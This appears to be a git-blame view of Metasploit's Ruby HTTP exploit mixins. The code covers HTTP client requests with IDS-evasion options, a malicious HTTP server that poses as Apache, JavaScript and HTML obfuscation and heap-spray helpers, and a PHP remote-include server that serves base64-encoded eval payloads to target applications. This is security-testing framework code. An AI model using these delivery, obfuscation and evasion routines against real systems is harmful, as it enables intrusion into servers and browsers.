2005-09-22 03:24:32 +00:00
require 'rex/service_manager'
2007-04-03 07:35:54 +00:00
require 'rex/exploitation/obfuscatejs'
require 'rex/exploitation/heaplib'
2005-09-22 03:24:32 +00:00
module Msf
###
#
# This module provides methods for acting as an HTTP client when
# exploiting an HTTP server.
#
###
module Exploit::Remote::HttpClient
2005-11-15 15:11:43 +00:00
#
# Initializes an exploit module that exploits a vulnerability in an HTTP
# server.
#
2005-09-22 03:24:32 +00:00
def initialize ( info = { } )
super
register_options (
[
Opt :: RHOST ,
2005-12-14 00:21:23 +00:00
Opt :: RPORT ( 80 ) ,
2006-01-27 22:02:35 +00:00
OptString . new ( 'VHOST' , [ false , " HTTP server virtual host " ] ) ,
Opt :: SSL ,
2007-09-24 04:44:44 +00:00
Opt :: Proxies
2006-12-19 07:11:55 +00:00
] , self . class
2006-01-27 22:02:35 +00:00
)
2006-12-19 07:11:55 +00:00
register_advanced_options (
[
OptString . new ( 'UserAgent' , [ false , 'The User-Agent header to use for all requests' ] )
] , self . class
)
2006-01-27 22:02:35 +00:00
register_evasion_options (
[
2007-03-08 14:08:41 +00:00
OptEnum . new ( 'HTTP::uri_encode_mode' , [ false , 'Enable URI encoding' , 'hex-normal' , [ 'none' , 'hex-normal' , 'hex-all' , 'hex-random' , 'u-normal' , 'u-all' , 'u-random' ] ] ) ,
2007-02-27 09:15:53 +00:00
OptBool . new ( 'HTTP::uri_full_url' , [ false , 'Use the full URL for all HTTP requests' , false ] ) ,
OptInt . new ( 'HTTP::pad_method_uri_count' , [ false , 'How many whitespace characters to use between the method and uri' , 1 ] ) ,
OptInt . new ( 'HTTP::pad_uri_version_count' , [ false , 'How many whitespace characters to use between the uri and version' , 1 ] ) ,
OptEnum . new ( 'HTTP::pad_method_uri_type' , [ false , 'What type of whitespace to use between the method and uri' , 'space' , [ 'space' , 'tab' , 'apache' ] ] ) ,
OptEnum . new ( 'HTTP::pad_uri_version_type' , [ false , 'What type of whitespace to use between the uri and version' , 'space' , [ 'space' , 'tab' , 'apache' ] ] ) ,
OptBool . new ( 'HTTP::method_random_valid' , [ false , 'Use a random, but valid, HTTP method for request' , false ] ) ,
OptBool . new ( 'HTTP::method_random_invalid' , [ false , 'Use a random invalid, HTTP method for request' , false ] ) ,
OptBool . new ( 'HTTP::method_random_case' , [ false , 'Use random casing for the HTTP method' , false ] ) ,
OptBool . new ( 'HTTP::uri_dir_self_reference' , [ false , 'Insert self-referential directories into the uri' , false ] ) ,
OptBool . new ( 'HTTP::uri_dir_fake_relative' , [ false , 'Insert fake relative directories into the uri' , false ] ) ,
2007-03-20 16:49:34 +00:00
OptBool . new ( 'HTTP::uri_use_backslashes' , [ false , 'Use back slashes instead of forward slashes in the uri ' , false ] ) ,
2007-02-27 09:15:53 +00:00
OptBool . new ( 'HTTP::pad_fake_headers' , [ false , 'Insert random, fake headers into the HTTP request' , false ] ) ,
2007-03-08 14:08:41 +00:00
OptInt . new ( 'HTTP::pad_fake_headers_count' , [ false , 'How many fake headers to insert into the HTTP request' , 0 ] ) ,
OptBool . new ( 'HTTP::pad_get_params' , [ false , 'Insert random, fake query string variables into the request' , false ] ) ,
OptInt . new ( 'HTTP::pad_get_params_count' , [ false , 'How many fake query string variables to insert into the request' , 16 ] ) ,
OptBool . new ( 'HTTP::pad_post_params' , [ false , 'Insert random, fake post variables into the request' , false ] ) ,
2007-03-10 05:58:14 +00:00
OptInt . new ( 'HTTP::pad_post_params_count' , [ false , 'How many fake post variables to insert into the request' , 16 ] ) ,
OptBool . new ( 'HTTP::uri_fake_end' , [ false , 'Add a fake end of URI (eg: /%20HTTP/1.0/../../)' , false ] ) ,
OptBool . new ( 'HTTP::uri_fake_params_start' , [ false , 'Add a fake start of params to the URI (eg: /%3fa=b/../)' , false ] ) ,
OptBool . new ( 'HTTP::header_folding' , [ false , 'Enable folding of HTTP headers' , false ] )
2006-12-19 07:11:55 +00:00
#
2007-02-27 09:15:53 +00:00
# Remaining evasions to implement
2007-03-10 05:58:14 +00:00
#
2006-12-19 07:11:55 +00:00
# OptBool.new('HTTP::chunked', [false, 'Enable chunking of HTTP request via "Transfer-Encoding: chunked"', 'false']),
# OptInt.new('HTTP::junk_pipeline', [true, 'Insert the specified number of junk pipeline requests', 0]),
] , self . class
2006-01-27 22:02:35 +00:00
)
2005-09-22 03:24:32 +00:00
end
#
# Connects to an HTTP server.
#
2005-12-14 00:21:23 +00:00
def connect ( opts = { } )
2005-09-22 03:24:32 +00:00
nclient = Rex :: Proto :: Http :: Client . new (
2006-08-13 18:03:28 +00:00
rhost ,
rport . to_i ,
2006-01-17 04:35:44 +00:00
{
'Msf' = > framework ,
'MsfExploit' = > self ,
2006-01-27 22:02:35 +00:00
} ,
2007-09-24 04:44:44 +00:00
ssl ,
proxies
2006-01-17 04:35:44 +00:00
)
2005-09-22 03:24:32 +00:00
# Configure the HTTP client with the supplied parameter
2006-12-19 07:11:55 +00:00
nclient . set_config (
2006-12-28 23:42:54 +00:00
'vhost' = > self . vhost ( ) ,
2007-03-08 14:08:41 +00:00
'agent' = > datastore [ 'UserAgent' ] ,
'uri_encode_mode' = > datastore [ 'HTTP::uri_encode_mode' ] ,
'uri_full_url' = > datastore [ 'HTTP::uri_full_url' ] ,
'pad_method_uri_count' = > datastore [ 'HTTP::pad_method_uri_count' ] ,
'pad_uri_version_count' = > datastore [ 'HTTP::pad_uri_version_count' ] ,
'pad_method_uri_type' = > datastore [ 'HTTP::pad_method_uri_type' ] ,
'pad_uri_version_type' = > datastore [ 'HTTP::pad_uri_version_type' ] ,
'method_random_valid' = > datastore [ 'HTTP::method_random_valid' ] ,
'method_random_invalid' = > datastore [ 'HTTP::method_random_invalid' ] ,
'method_random_case' = > datastore [ 'HTTP::method_random_case' ] ,
'uri_dir_self_reference' = > datastore [ 'HTTP::uri_dir_self_reference' ] ,
'uri_dir_fake_relative' = > datastore [ 'HTTP::uri_dir_fake_relative' ] ,
2007-03-20 16:49:34 +00:00
'uri_use_backslashes' = > datastore [ 'HTTP::uri_use_backslashes' ] ,
2007-03-08 14:08:41 +00:00
'pad_fake_headers' = > datastore [ 'HTTP::pad_fake_headers' ] ,
'pad_fake_headers_count' = > datastore [ 'HTTP::pad_fake_headers_count' ] ,
'pad_get_params' = > datastore [ 'HTTP::pad_get_params' ] ,
'pad_get_params_count' = > datastore [ 'HTTP::pad_get_params_count' ] ,
'pad_post_params' = > datastore [ 'HTTP::pad_post_params' ] ,
2007-03-10 05:58:14 +00:00
'pad_post_params_count' = > datastore [ 'HTTP::pad_post_params_count' ] ,
'uri_fake_end' = > datastore [ 'HTTP::uri_fake_end' ] ,
'uri_fake_params_start' = > datastore [ 'HTTP::uri_fake_params_start' ] ,
'header_folding' = > datastore [ 'HTTP::header_folding' ]
2006-12-19 07:11:55 +00:00
)
2005-09-22 03:24:32 +00:00
# If this connection is global, persist it
if ( opts [ 'global' ] )
if ( self . client )
disconnect
end
self . client = nclient
end
return nclient
end
#
# Passes the client connection down to the handler to see if it's of any
# use.
#
def handler ( nsock = nil )
# If no socket was provided, try the global one.
if ( ( ! nsock ) and
( self . client ) )
nsock = self . client . conn
end
# If the parent claims the socket associated with the HTTP client, then
# we rip the socket out from under the HTTP client.
if ( ( ( rv = super ( nsock ) ) == Handler :: Claimed ) and
( self . client ) and
( nsock == self . client . conn ) )
self . client . conn = nil
end
rv
end
#
# Disconnects the HTTP client
#
def disconnect ( nclient = self . client )
if ( nclient )
nclient . close
end
if ( nclient == self . client )
self . client = nil
end
end
#
# Performs cleanup as necessary, disconnecting the HTTP client if it's
# still established.
#
def cleanup
super
disconnect
end
2005-12-25 22:47:38 +00:00
#
# Connects to the server, creates a request, sends the request, reads the response
#
2006-12-19 07:11:55 +00:00
def send_request_raw ( opts = { } , timeout = - 1 )
2007-02-27 09:31:23 +00:00
begin
c = connect ( opts )
2007-03-09 06:12:28 +00:00
r = c . request_raw ( opts )
2007-02-27 09:31:23 +00:00
c . send_recv ( r , opts [ :timeout ] ? opts [ :timeout ] : timeout )
2007-03-10 03:51:58 +00:00
rescue :: RuntimeError = > e
print_error ( " An error occurred sending this request: #{ e } " )
nil
rescue :: Errno :: EPIPE , :: Timeout :: Error
2007-02-27 09:31:23 +00:00
nil
end
2005-12-25 22:47:38 +00:00
end
2006-12-19 07:11:55 +00:00
#
# Connects to the server, creates a request, sends the request, reads the response
#
def send_request_cgi ( opts = { } , timeout = - 1 )
2007-02-27 09:31:23 +00:00
begin
c = connect ( opts )
2007-03-10 03:51:58 +00:00
r = c . request_cgi ( opts )
2007-02-27 09:31:23 +00:00
c . send_recv ( r , opts [ :timeout ] ? opts [ :timeout ] : timeout )
2007-03-10 03:51:58 +00:00
rescue :: RuntimeError = > e
print_error ( " An error occurred sending this request: #{ e } " )
nil
rescue :: Errno :: EPIPE , :: Timeout :: Error
2007-02-27 09:31:23 +00:00
nil
end
2006-12-19 07:11:55 +00:00
end
2005-09-22 03:24:32 +00:00
##
#
# Wrappers for getters
#
##
#
# Returns the target host
#
def rhost
datastore [ 'RHOST' ]
end
#
# Returns the remote port
#
def rport
datastore [ 'RPORT' ]
end
#
# Returns the VHOST of the HTTP server.
#
def vhost
2006-10-11 08:31:54 +00:00
datastore [ 'VHOST' ] || datastore [ 'RHOST' ]
2005-09-22 03:24:32 +00:00
end
2006-08-13 18:03:28 +00:00
#
# Returns the boolean indicating SSL
#
def ssl
datastore [ 'SSL' ]
end
2007-09-24 04:44:44 +00:00
#
# Returns the configured proxy list
#
def proxies
datastore [ 'Proxies' ]
end
2005-09-22 03:24:32 +00:00
protected
attr_accessor :client
end
###
#
# This module provides methods for exploiting an HTTP client by acting
# as an HTTP server.
#
###
module Exploit::Remote::HttpServer
include Msf :: Exploit :: Remote :: TcpServer
protected
2006-01-02 07:49:52 +00:00
def initialize ( info = { } )
super
register_options (
[
OptString . new ( 'URIPATH' , [ false , " The URI to use for this exploit (default is random) " ] ) ,
2006-01-05 22:20:28 +00:00
] , Exploit :: Remote :: HttpServer
2006-01-27 22:02:35 +00:00
)
2006-01-05 22:20:28 +00:00
2006-01-27 22:02:35 +00:00
register_evasion_options (
[
OptBool . new ( 'HTTP::chunked' , [ false , 'Enable chunking of HTTP responses via "Transfer-Encoding: chunked"' , 'false' ] ) ,
OptBool . new ( 'HTTP::header_folding' , [ false , 'Enable folding of HTTP headers' , 'false' ] ) ,
OptBool . new ( 'HTTP::junk_headers' , [ false , 'Enable insertion of random junk HTTP headers' , 'false' ] ) ,
OptEnum . new ( 'HTTP::compression' , [ false , 'Enable compression of HTTP responses via content encoding' , 'none' , [ 'none' , 'gzip' , 'deflate' ] ] ) ,
] , Exploit :: Remote :: HttpServer
)
2006-01-05 22:20:28 +00:00
2006-01-02 07:49:52 +00:00
end
2007-04-04 02:04:37 +00:00
#
# By default, all HTTP servers are not subject to automatic exploitation
#
def autofilter
false
end
2006-01-03 04:24:03 +00:00
#
# Ensures that gzip can be used. If not, an exception is generated. The
# exception is only raised if the DisableGzip advanced option has not been
# set.
#
2006-01-27 22:02:35 +00:00
def use_zlib
if ( ! Rex :: Text . zlib_present? and datastore [ 'HTTP::compression' ] == true )
raise RuntimeError , " zlib support was not detected, yet the HTTP::compression option was set. Don't do that! "
2006-01-03 04:24:03 +00:00
end
end
#
# This method gives a derived class the opportunity to ensure that all
# dependencies are present before initializing the service.
#
2007-04-04 02:04:37 +00:00
# By default, all HTTP server mixins will try to use zlib.
#
2006-01-03 04:24:03 +00:00
def check_dependencies
2007-04-04 02:04:37 +00:00
use_zlib
2006-01-03 04:24:03 +00:00
end
2006-01-02 07:49:52 +00:00
2005-09-22 03:24:32 +00:00
#
# This mixin starts the HTTP server listener. This routine takes a few
# different hash parameters:
#
# ServerHost => Override the server host to listen on (default to SRVHOST).
# ServerPort => Override the server port to listen on (default to SRVPORT).
# Uri => The URI to handle and the associated procedure to call.
#
def start_service ( opts = { } )
2006-01-03 04:24:03 +00:00
check_dependencies
2005-09-22 03:24:32 +00:00
# Default the server host and port to what is required by the mixin.
opts = {
'ServerHost' = > datastore [ 'SRVHOST' ] ,
'ServerPort' = > datastore [ 'SRVPORT' ] ,
} . update ( opts )
# Start the HTTP server service.
2006-01-17 04:35:44 +00:00
self . service = Rex :: ServiceManager . start (
Rex :: Proto :: Http :: Server ,
opts [ 'ServerPort' ] . to_i ,
opts [ 'ServerHost' ] ,
{
'Msf' = > framework ,
'MsfExploit' = > self ,
}
)
2005-09-22 03:24:32 +00:00
2006-01-27 05:33:08 +00:00
self . service . server_name = 'Apache'
2006-01-05 22:20:28 +00:00
2005-09-22 03:24:32 +00:00
# Default the procedure of the URI to on_request_uri if one isn't
# provided.
uopts = {
'Proc' = > Proc . new { | cli , req |
2006-02-03 19:56:50 +00:00
evasions ( cli )
2005-09-23 05:51:09 +00:00
on_request_uri ( cli , req )
2005-09-22 03:24:32 +00:00
} ,
2006-01-02 07:49:52 +00:00
'Path' = > resource_uri
2005-09-22 03:24:32 +00:00
} . update ( opts [ 'Uri' ] || { } )
2005-09-23 05:51:09 +00:00
print_status ( " Using URL: http:// #{ opts [ 'ServerHost' ] } : #{ opts [ 'ServerPort' ] } #{ uopts [ 'Path' ] } " )
2007-07-03 13:40:45 +00:00
if ( opts [ 'ServerHost' ] == '0.0.0.0' )
print_status ( " Local IP: http:// #{ Rex :: Socket . source_address ( '1.2.3.4' ) } : #{ opts [ 'ServerPort' ] } #{ uopts [ 'Path' ] } " )
end
2005-09-22 03:24:32 +00:00
add_resource ( uopts )
end
#
# Adds a URI resource using the supplied hash parameters.
#
# Path => The path to associate the procedure with.
# Proc => The procedure to call when the URI is requested.
# LongCall => Indicates that the request is a long call.
#
def add_resource ( opts )
2006-01-02 07:49:52 +00:00
@service_path = opts [ 'Path' ]
2005-09-22 03:24:32 +00:00
service . add_resource ( opts [ 'Path' ] , opts )
end
2006-01-02 07:49:52 +00:00
#
# Returns the last-used resource path
#
def get_resource
@service_path
end
2005-09-22 03:24:32 +00:00
#
# Removes a URI resource.
#
def remove_resource ( name )
service . remove_resource ( name )
end
#
# Closes a client connection.
#
def close_client ( cli )
service . close_client ( cli )
end
#
# Creates an HTTP response packet.
#
def create_response ( code = 200 , message = " OK " ,
proto = Rex :: Proto :: Http :: DefaultProtocol )
return Rex :: Proto :: Http :: Response . new ( code , message , proto ) ;
end
2006-01-03 04:24:03 +00:00
2006-01-27 22:02:35 +00:00
#
# Transmits a response to the supplied client, default content-type is text/html
#
# Payload evasions are implemented here!
#
def send_response ( cli , body , headers = { } )
response = create_response
2006-01-02 07:49:52 +00:00
response [ 'Content-Type' ] = 'text/html'
2006-01-27 22:02:35 +00:00
response . body = body
if ( datastore [ 'HTTP::compression' ] )
self . use_zlib # make sure...
response . compress = datastore [ 'HTTP::compression' ]
end
if ( datastore [ 'HTTP::chunked' ] == true )
response . auto_cl = false
response . transfer_chunked = true
end
if ( datastore [ 'HTTP::header_folding' ] == true )
response . headers . fold = 1
end
if ( datastore [ 'HTTP::junk_headers' ] == true )
response . headers . junk_headers = 1
end
2006-01-05 22:20:28 +00:00
2006-01-02 07:49:52 +00:00
headers . each_pair { | k , v | response [ k ] = v }
cli . send_response ( response )
2006-01-27 22:02:35 +00:00
end
2006-01-02 07:49:52 +00:00
#
# Sends a 302 redirect to the client
#
def send_redirect ( cli , location = '/' , body = '' )
response = create_response ( 302 , 'Moved' )
response [ 'Content-Type' ] = 'text/html'
response [ 'Location' ] = location
response . body = body
cli . send_response ( response )
end
2008-07-01 01:44:56 +00:00
2006-01-02 07:49:52 +00:00
#
# Sends a 302 redirect relative to our base path
#
def send_local_redirect ( cli , location )
send_redirect ( cli , get_resource + location )
end
2008-07-01 01:44:56 +00:00
#
# Sends a 404
#
def send_not_found ( cli )
resp_404 = create_response ( 404 , 'Not Found' )
resp_404 . body = %Q{
< ! DOCTYPE HTML PUBLIC " -//IETF//DTD HTML 2.0//EN " >
< html > < head >
< title > 404 Not Found < / title>
< / head><body>
< h1 > Not Found < / h1>
< p > The requested URL / 404.html was not found on this server.< / p >
< hr >
< address > Apache / 2 . 2 . 9 ( Unix ) Server at #{datastore['LHOST']} Port #{datastore['SRVPORT']}</address>
< / body>< / html >
}
cli . send_response ( resp_404 )
end
2006-01-02 07:49:52 +00:00
#
# Returns the configured (or random, if not configured) URI path
#
def resource_uri
path = datastore [ 'URIPATH' ] || random_uri
path = '/' + path if path !~ / ^ \/ /
return path
end
2005-09-25 19:47:48 +00:00
2005-09-22 03:24:32 +00:00
#
# Generates a random URI for use with making finger printing more
# challenging.
#
def random_uri
2006-12-17 07:57:51 +00:00
" / " + Rex :: Text . rand_text_alphanumeric ( rand ( 10 ) + 6 )
2005-09-22 03:24:32 +00:00
end
2005-09-24 19:47:56 +00:00
#
# Re-generates the payload, substituting the current RHOST and RPORT with
# the supplied client host and port.
#
2007-04-01 21:21:10 +00:00
def regenerate_payload ( cli , arch = nil , platform = nil , target = nil )
2007-07-03 13:40:45 +00:00
pcode = nil
2007-07-03 04:20:50 +00:00
2007-07-03 13:40:45 +00:00
# If the payload fails to generate for some reason, send a 403.
if ( ( pcode = super ( cli , arch , platform , target ) ) == nil )
print_error ( " Failed to generate payload, sending 403. " )
2005-09-24 19:37:27 +00:00
2007-07-03 13:40:45 +00:00
cli . send_response (
create_response ( 403 , 'Forbidden' ) )
2005-09-24 19:37:27 +00:00
2007-07-03 13:40:45 +00:00
return nil
2007-07-03 04:20:50 +00:00
end
2007-07-03 13:40:45 +00:00
pcode
2005-09-24 19:37:27 +00:00
end
2005-09-22 03:24:32 +00:00
##
#
# Override methods
#
##
#
# Called when a request is made to a single URI registered during the
# start_service. Subsequent registrations will not result in a call to
# on_request_uri.
#
def on_request_uri ( cli , request )
end
end
2006-01-27 22:02:35 +00:00
###
#
# This module provides methods for exploiting an HTTP client by acting
# as an HTTP server.
#
###
2006-12-10 02:55:25 +00:00
module Exploit::Remote::HttpServer::HTML
2006-01-27 22:02:35 +00:00
include Msf :: Exploit :: Remote :: HttpServer
protected
def initialize ( info = { } )
super
register_evasion_options (
[
2006-02-19 03:58:18 +00:00
# utf-8, utf-7 and utf-7-all are currently not supported by
# most browsers. as such, they are not added by default. The
# mixin supports encoding using them, however they are not
# listed in the Option.
2006-02-10 17:29:37 +00:00
OptEnum . new ( 'HTML::unicode' , [ false , 'Enable HTTP obfuscation via unicode' , 'none' , [ 'none' , 'utf-16le' , 'utf-16be' , 'utf-16be-marker' , 'utf-32le' , 'utf-32be' ] ] ) ,
2006-02-10 15:45:37 +00:00
OptEnum . new ( 'HTML::base64' , [ false , 'Enable HTML obfuscation via an embeded base64 html object' , 'none' , [ 'none' , 'plain' , 'single_pad' , 'double_pad' , 'random_space_injection' ] ] ) ,
2006-01-27 22:02:35 +00:00
OptInt . new ( 'HTML::javascript::escape' , [ false , 'Enable HTML obfuscation via HTML escaping (number of iterations)' , 0 ] ) ,
2006-12-10 03:11:48 +00:00
] , Exploit :: Remote :: HttpServer :: HTML
2006-01-27 22:02:35 +00:00
)
end
2007-04-03 07:35:54 +00:00
#
# Obfuscates symbols found within a javascript string.
#
2008-07-22 07:28:05 +00:00
# Returns an ObfuscateJS object
#
2007-04-03 07:35:54 +00:00
def obfuscate_js ( javascript , opts )
2008-07-22 07:28:05 +00:00
js = Rex :: Exploitation :: ObfuscateJS . new ( javascript , opts )
js . obfuscate
return js
2007-04-03 07:35:54 +00:00
end
#
# Returns the heaplib javascript, including any custom javascript supplied
# by the caller.
#
def heaplib ( custom_js = '' )
Rex :: Exploitation :: HeapLib . new ( custom_js ) . to_s
end
2008-07-22 07:28:05 +00:00
def js_base64
js = <<-ENDJS
/ / Base64 implementation stolen from http : / / www . webtoolkit . info / javascript - base64 . html
/ / variable names changed to make obfuscation easier
var Base64 = {
/ / private property
_keyStr : " ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/= " ,
/ / private method
_utf8_encode : function ( input ) {
input = input . replace ( / \\ r \\ n / g , " \\ n " ) ;
var utftext = " " ;
var input_idx ;
for ( input_idx = 0 ; input_idx < input . length ; input_idx + + ) {
var chr = input . charCodeAt ( input_idx ) ;
if ( chr < 128 ) {
utftext += String . fromCharCode ( chr ) ;
}
else if ( ( chr > 127 ) && ( chr < 2048 ) ) {
utftext += String . fromCharCode ( ( chr >> 6 ) | 192 ) ;
utftext += String . fromCharCode ( ( chr & 63 ) | 128 ) ;
} else {
utftext += String . fromCharCode ( ( chr >> 12 ) | 224 ) ;
utftext += String . fromCharCode ( ( ( chr >> 6 ) & 63 ) | 128 ) ;
utftext += String . fromCharCode ( ( chr & 63 ) | 128 ) ;
}
}
return utftext ;
} ,
/ / public method for encoding
encode : function ( input ) {
var output = " " ;
var chr1 , chr2 , chr3 , enc1 , enc2 , enc3 , enc4 ;
var input_idx = 0 ;
input = Base64 . _utf8_encode ( input ) ;
while ( input_idx < input . length ) {
chr1 = input . charCodeAt ( input_idx + + ) ;
chr2 = input . charCodeAt ( input_idx + + ) ;
chr3 = input . charCodeAt ( input_idx + + ) ;
enc1 = chr1 >> 2 ;
enc2 = ( ( chr1 & 3 ) << 4 ) | ( chr2 >> 4 ) ;
enc3 = ( ( chr2 & 15 ) << 2 ) | ( chr3 >> 6 ) ;
enc4 = chr3 & 63 ;
if ( isNaN ( chr2 ) ) {
enc3 = enc4 = 64 ;
} else if ( isNaN ( chr3 ) ) {
enc4 = 64 ;
}
output = output +
this . _keyStr . charAt ( enc1 ) + this . _keyStr . charAt ( enc2 ) +
this . _keyStr . charAt ( enc3 ) + this . _keyStr . charAt ( enc4 ) ;
}
return output ;
} ,
/ / public method for decoding
decode : function ( input ) {
var output = " " ;
var chr1 , chr2 , chr3 ;
var enc1 , enc2 , enc3 , enc4 ;
var i = 0 ;
input = input . replace ( / [^A-Za-z0-9 \ + \/ \ =] / g , " " ) ;
while ( i < input . length ) {
enc1 = this . _keyStr . indexOf ( input . charAt ( i + + ) ) ;
enc2 = this . _keyStr . indexOf ( input . charAt ( i + + ) ) ;
enc3 = this . _keyStr . indexOf ( input . charAt ( i + + ) ) ;
enc4 = this . _keyStr . indexOf ( input . charAt ( i + + ) ) ;
chr1 = ( enc1 << 2 ) | ( enc2 >> 4 ) ;
chr2 = ( ( enc2 & 15 ) << 4 ) | ( enc3 >> 2 ) ;
chr3 = ( ( enc3 & 3 ) << 6 ) | enc4 ;
output = output + String . fromCharCode ( chr1 ) ;
if ( enc3 != 64 ) {
output = output + String . fromCharCode ( chr2 ) ;
}
if ( enc4 != 64 ) {
output = output + String . fromCharCode ( chr3 ) ;
}
}
output = Base64 . _utf8_decode ( output ) ;
return output ;
} ,
_utf8_decode : function ( utftext ) {
var string = " " ;
var input_idx = 0 ;
var chr1 = 0 ;
var chr2 = 0 ;
var chr3 = 0 ;
while ( input_idx < utftext . length ) {
chr1 = utftext . charCodeAt ( input_idx ) ;
if ( chr1 < 128 ) {
string += String . fromCharCode ( chr1 ) ;
input_idx + + ;
}
else if ( ( chr1 > 191 ) && ( chr1 < 224 ) ) {
chr2 = utftext . charCodeAt ( input_idx + 1 ) ;
string += String . fromCharCode ( ( ( chr1 & 31 ) << 6 ) | ( chr2 & 63 ) ) ;
input_idx += 2 ;
} else {
chr2 = utftext . charCodeAt ( input_idx + 1 ) ;
chr3 = utftext . charCodeAt ( input_idx + 2 ) ;
string += String . fromCharCode ( ( ( chr1 & 15 ) << 12 ) | ( ( chr2 & 63 ) << 6 ) | ( chr3 & 63 ) ) ;
input_idx += 3 ;
}
}
return string ;
}
} ;
ENDJS
opts = {
'Symbols' = > {
'Variables' = > [
'Base64' , 'encoding' ,
'result' , '_keyStr' ,
'encoded_data' ,
'utftext' , 'input_idx' ,
'input' , 'output' ,
'chr' , 'chr1' , 'chr2' , 'chr3' ,
'enc1' , 'enc2' , 'enc3' , 'enc4'
] ,
'Methods' = > [
'_utf8_encode' , '_utf8_decode' ,
'encode' , 'decode'
]
}
}
js = :: Rex :: Exploitation :: ObfuscateJS . new ( js , opts )
return js
end
def js_os_detect
return :: Rex :: Exploitation :: JavascriptOSDetect . new
end
2006-01-27 22:02:35 +00:00
# Transmits a html response to the supplied client
#
# HTML evasions are implemented here.
2006-12-10 03:26:53 +00:00
def send_response_html ( cli , body , headers = { } )
2006-02-10 15:45:37 +00:00
if datastore [ 'HTML::base64' ] != 'none'
case datastore [ 'HTML::base64' ]
when 'plain'
body = Rex :: Text . encode_base64 ( body )
when 'single_pad'
body = Rex :: Text . encode_base64 ( ' ' + body )
when 'double_pad'
body = Rex :: Text . encode_base64 ( ' ' + body )
when 'random_space_injection'
body = Rex :: Text . encode_base64 ( body )
new = ''
while ( body . size > 0 )
new += body . slice! ( 0 , rand ( 3 ) + 1 ) + Rex :: Text . rand_text ( rand ( 5 ) + 1 , '' , " \n " )
end
body = new
end
2006-01-27 22:02:35 +00:00
2006-02-10 15:45:37 +00:00
body = '<HTML><BODY><OBJECT ID="' + Rex :: Text . rand_text_alpha ( rand ( 10 ) + 5 ) + '" ' +
'HEIGHT="100%" WIDTH="100%" TYPE="text/html" DATA="data:text/html;base64,' +
body + '">Could not render object</OBJECT></BODY></HTML>'
2006-01-27 22:02:35 +00:00
end
if datastore [ 'HTML::javascript::escape' ] > 0
datastore [ 'HTML::javascript::escape' ] . times {
body = '<script>document.write(unescape("' + Rex :: Text . to_hex ( body , '%' ) + '"))</script>'
}
end
2006-02-19 03:58:18 +00:00
if [ 'utf-16le' , 'utf-16be' , 'utf32-le' , 'utf32-be' , 'utf-7' , 'utf-8' ] . include? ( datastore [ 'HTML::unicode' ] )
headers [ 'Content-Type' ] = 'text/html; charset: ' + datastore [ 'HTML::unicode' ]
body = Rex :: Text . to_unicode ( body , datastore [ 'HTML::unicode' ] )
else
# special cases
case datastore [ 'HTML::unicode' ]
when 'utf-16be-marker'
headers [ 'Content-Type' ] = 'text/html'
body = " \xFE \xFF " + Rex :: Text . to_unicode ( body , 'utf-16be' )
when 'utf-7-all'
headers [ 'Content-Type' ] = 'text/html; charset: utf-7'
body = Rex :: Text . to_unicode ( body , 'utf-7' , 'all' )
when 'none'
# do nothing
else
raise RuntimeError , 'Invalid unicode. how did you get here?'
end
2006-01-27 22:02:35 +00:00
end
2006-12-17 02:34:27 +00:00
send_response ( cli , body , headers )
2006-01-27 22:02:35 +00:00
end
end
2006-12-17 07:57:51 +00:00
###
#
# This module provides methods for exploiting an HTTP client by acting
# as an HTTP server.
#
###
module Exploit::Remote::HttpServer::PHPInclude
include Msf :: Exploit :: Remote :: HttpServer
def initialize ( info = { } )
# Override TCPServer's stance of passive
super ( update_info ( info , 'Stance' = > Msf :: Exploit :: Stance :: Aggressive ) )
register_evasion_options (
[
OptEnum . new ( 'PHP::Encode' , [ false , 'Enable PHP code obfuscation' , 'none' , [ 'none' , 'base64' ] ] ) ,
] , Exploit :: Remote :: HttpServer :: PHPInclude
)
end
#
# Override exploit() to handle service start/stop
#
def exploit
start_service
print_status ( " PHP include server started. " ) ;
php_exploit
select ( nil , nil , nil , 5 )
stop_service
end
#
# Transmits a PHP payload to the web application
#
def send_php_payload ( cli , body , headers = { } )
case datastore [ 'PHP::Encode' ]
when 'base64'
body = " <?php eval(base64_decode(' #{ Rex :: Text . encode_base64 ( body ) } '));?> "
when 'none'
2007-01-05 03:31:18 +00:00
body = " <?php #{ body } ?> "
2006-12-17 07:57:51 +00:00
end
send_response ( cli , body , headers )
end
#
# Handle an incoming PHP code request
#
def on_request_uri ( cli , request , headers = { } )
# Re-generate the payload
return if ( ( p = regenerate_payload ( cli ) ) == nil )
# Send it to the application
send_php_payload ( cli , p . encoded , headers )
end
#
# Return the PHP include URL (pre-encoded)
#
2007-07-03 04:26:28 +00:00
def php_include_url ( sock = nil )
addr = datastore [ 'SRVHOST' ]
if ( addr == " 0.0.0.0 " )
addr = Rex :: Socket . source_address ( sock ? sock . peerhost : '1.2.3.4' )
end
2008-03-04 07:34:26 +00:00
" http:// #{ addr } : #{ datastore [ 'SRVPORT' ] } #{ get_resource ( ) } ? "
2006-12-17 07:57:51 +00:00
end
end
2005-09-22 03:24:32 +00:00
end